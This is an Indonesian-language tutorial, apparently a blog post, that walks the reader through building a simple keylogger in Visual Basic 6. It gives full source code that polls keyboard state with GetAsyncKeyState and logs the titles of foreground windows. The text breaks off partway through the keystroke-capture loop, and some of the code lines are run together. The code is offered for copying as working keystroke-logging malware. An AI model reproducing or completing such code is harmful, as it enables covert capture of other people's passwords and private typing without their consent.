Membuat Keylogger Dengan VisualBasic

Sesuai dengan judul di atas, kali ini saya akan memberikan sedikit tutorial cara membuat key logger sederhana dengan Visual Basic. Oke langsung saja gan..


  1. Siapkan Visual Basic , Disini saya menggunakan Visual Basic 6.0
  2. Buka program Visual Basic
  3. New Project Standard EXE

  4. Tambahkan 1 buah TextBox, 4 buah CommandButton, 2 Timer, dan 6 buah Label (Lihat Gambar)
  5. Copas seluruh Code di bawah ini :
    Private Declare Function GetAsyncKeyState Lib “user32″ (ByVal vKey As Long) As Integer
    Private Declare Function GetForegroundWindow Lib “user32″ () As Long
    Private Declare Function GetWindowText Lib “user32″ Alias “GetWindowTextA” (ByVal hWnd As Long, ByVal sWndTitle As String, ByVal cLen As Long) As Long
    Private hForegroundWnd As Long
    Private backs As BooleanPrivate Sub Command1_Click()
    Timer1.Enabled = True
    End SubPrivate Sub Command2_Click()
    Timer1.Enabled = False
    End SubPrivate Sub Command3_Click()
    backs = True
    End SubPrivate Sub Command4_Click()
    backs = False
    End SubPrivate Sub Form_Load()
    backs = True
    End SubPrivate Sub Label1_Click()
    End Sub
    Private Sub Label4_Click()
    End Sub
    Private Sub Label6_Click()
    Timer1.Enabled = True
    End Sub
    Private Sub Label7_Click()
    Timer1.Enabled = False
    End Sub
    Private Sub Label8_Click()
    backs = True
    End Sub
    Private Sub Label9_Click()
    backs = False
    End Sub
    Private Sub Text1_Change()
    Text1.SelStart = 0
    Text1.SelLength = Len(Text1.Text)
    End Sub
    Private Sub Timer1_Timer()
    Dim x, x2, i, t As Integer
    Dim win As Long
    Dim Title As String * 1000
    win = GetForegroundWindow()
    If (win = hForegroundWnd) Then
    GoTo Keylogger
    Else
    hForegroundWnd = GetForegroundWindow()
    Title = “”
    GetWindowText hForegroundWnd, Title, 1000
    Select Case Asc(Title)
    Case 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95
    Text1.Text = Text1.Text & vbCrLf & vbCrLf & “[ " & Title
    Text1.Text = Text1.Text & " ]” & vbCrLf
    End Select
    End If
    Exit Sub
    Keylogger:
    For i = 65 To 90
